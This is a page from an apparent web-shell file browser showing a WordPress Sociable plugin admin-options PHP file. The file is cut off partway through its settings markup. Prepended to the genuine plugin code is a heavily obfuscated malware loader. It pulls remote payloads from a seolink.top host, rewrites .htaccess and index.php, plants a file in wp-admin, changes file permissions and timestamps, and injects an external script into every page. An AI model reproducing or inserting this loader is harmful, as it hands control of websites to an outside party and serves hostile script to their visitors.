0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
plugins
/
sociable
/
includes
/
[
Home
]
File: class-sociable_Admin_Options.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* * Administration Options Class For Sociable 2 */ class sociable_Admin_Options{ /** * A Function To Hook To Admin Init. */ function init(){ register_setting( 'sociable_options_group' , 'sociable_options' ); //Add The Settings Sections // add_settings_section( 'sociable_locations', __( 'Locations' ), array( 'sociable_Admin_Options' , 'location_options_callback' ) , 'sociable_options' ); // add_settings_section( 'sociable_options', __( 'General Options' ), array( 'sociable_Admin_Options' , 'general_options_callback' ) , 'sociable_options' ); register_setting( 'skyscraper_options_group' , 'skyscraper_options' ); // add_settings_section( 'sociable_locations', __( 'Locations' ), array( 'sociable_Admin_Options' , 'location_options_callback' ) , 'skyscraper_options' ); } function skyscraper_init(){ register_setting( 'skyscraper_options_group' , 'skyscraper_options' ); add_settings_section( 'sociable_locations', __( 'Locations' ), array( 'sociable_Admin_Options' , 'location_options_callback' ) , 'skyscraper_options' ); //Add All The Settings Fields //self::add_settings_fields(); } function Select_Sociable_Page(){ global $sociable_options; ?> <style> .Title-Box .BG-Middle { vertical-align: middle; } </style> <div class="wrap" style="margin-top:25px"> <div style="width: 80%; margin-left: 25px; color: rgb(147, 147, 147); font-weight: bold; font-size: 15px;"> Congrats for joining the leader in the sharing space of WordPress plugins. "Sociable" is totally FREE, has over 1,7 million downloads and now you can enjoy Fueto and make your searches more Sociable.<br /> <br /> </div> <div class="wrap" style="width:42%;float:left"> <?php //wp_nonce_field('sociable-config'); ?> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Preview-Title" style="margin:0 0 0 25px"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" >Skyscraper Sociable</TD><TD class="Border-Right"></TD> </TR> <TR> <TD colspan="3" > <table> <tr> <td> <img src="<?php echo SOCIABLE_HTTP_PATH ?>images/skyphoto.png" style="margin-left:-5px;margin-top:20px;" /> </td> <td valign="top" > <br/><br/> <span style="font-size:18px;color:#18305e;font-weight:bold;">Skyscraper Sociable</span> <p style="font-size:12px;color:#939393;font-weight:bold;" > Now introducing the ultimate advanced and feature packed plugin for setting up rating system on your WordPress blog. <br/ ><br/ > Sociable Skyscraper allows you to set up different rating systems for posts, pages and comments with great degree of customization. <br/ ><br/ > List of features is so smart and non-stop growing: <br/ ><br/ > You can get more "Sociable" with Sociable Skyscraper and easily getting Rating and Review of: posts, pages, comments, Facebook, G+, LinkedIN, Twitter as well as multiple ratings for posts and pages. Visitor's counter, visitor's from Facebook and Twitter... As a plus you get an easy way to get TOP or HOME from Sociable Skyscraper. <br/ ><br/ > Enjoy it now!!! <br/ ><br/ > Be Sociable, Share!!! </p> <a href="?page=skyscraper_options" style="color:#ffffff;text-decoration:none;" ><img src="<?php echo SOCIABLE_HTTP_PATH ?>images/button_newsky.png" ></a> </td> </tr> </table> </TD> </TR> </TABLE> <BR/> </div> <div class="wrap" style="margin-left:30px;width:48%;float:left"> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Preview-Title" style="margin:0 0 0 25px"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" >Classic Sociable</TD><TD class="Border-Right"></TD> </TR> <TR> <TD colspan="3" > <div style="margin-left:5px;"> <br /><br /> <span style="font-size:18px;color:#18305e;font-weight:bold;">Classic Sociable</span> <p style="font-size:12px;color:#939393;font-weight:bold;" > We've improved our visual interface, the default icons are now much <br/ > more appealing, and a touch bit larger (you do want your readers to <br/ > share your posts, don't you? :) Get it now! </p> <img src="<?php echo SOCIABLE_HTTP_PATH ?>images/socciable_old.png" ><br/> <div style="height: 176px;"></div> <a href="?page=sociable_options" style="color:#ffffff;text-decoration:none;" ><img src="<?php echo SOCIABLE_HTTP_PATH ?>images/button_sociabb.png" ></a> </div> </TD> </TR> </TABLE> <BR/> </div> </div> <?php } function create_select_options($value){ for($i=3; $i<=9; ){ $sel = ""; if ($value == $i){ $sel = "selected"; } echo "<option ".$sel." value='".$i."'> latest ".$i."</option>"; $i = $i+3; } } function Create_Options_Page_Skycraper(){ global $skyscraper_options; global $sociable_options; ?> <style> .Title-Box .BG-Middle { vertical-align: middle; } </style> <div class="wrap" style="width:48%;float:left"> <DIV style="margin:0 0 0 25px" class="Post-subTXT" id="Post-subTXT" > <iframe src="//www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblogplay.com%2F&send=false&layout=standard&width=450&show_faces=true&action=recommend&colorscheme=light&font&height=80&appId=133479460071366" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:40px;" allowTransparency="true"></iframe> <a href="https://twitter.com/share" class="twitter-share-button" data-url="http://blogplay.com" data-text="Check the sociable plugin" >Tweet</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script> <br /> </div> <form method="post" action="options.php" id="form1" autocomplete="off"> <?php wp_nonce_field('sociable-config'); ?> <INPUT type="hidden" class="version-INPUT" id="version" name="skyscraper_options[version]" value="<?php echo $skyscraper_options["version"];?>" /> <TABLE class="Title-Box" cellspacing="0" cellpadding="0" id="Preview-Title" style="margin:0 0 0 25px"> <TR> <TD class="Border-Left" ></TD><TD class="BG-Middle" ><?php _e("Style Options","sociable");?></TD><TD class="Border-Right"></TD> </TR> </TABLE> <BR/> <DIV style="margin:0 0 0 25px" class="Post-subTXT" id="Post-subTXT" > <?php _e("Text Size","sociable");?>: <select id="text_size" name="skyscraper_options[text_size]" style="margin-left:73px"> <?php for($px=10; $px <= 20; $px++) { $sel = ""; if($px== $skyscraper_options["text_size"])$sel = "selected"; ?> <option <?php echo $sel?> value="<?php echo $px?>"><?php echo $px?>px</option> <?php }?> </select> </DIV> <DIV style="margin:0 0 0 24px" class="Post-subTXT" id="Post-subTXT" ><?php _e("Widget Width","sociable");?>: <select id="text_size" id="widget_width" name="skyscraper_options[widget_width]" style="margin-left:50px"> <?php for($wi=70; $wi <= 90; ) { $sel = ""; if($wi== $skyscraper_options["widget_width"])$sel = "selected"; ?> <option <?php echo $sel?> value="<?php echo $wi?>"><?php echo 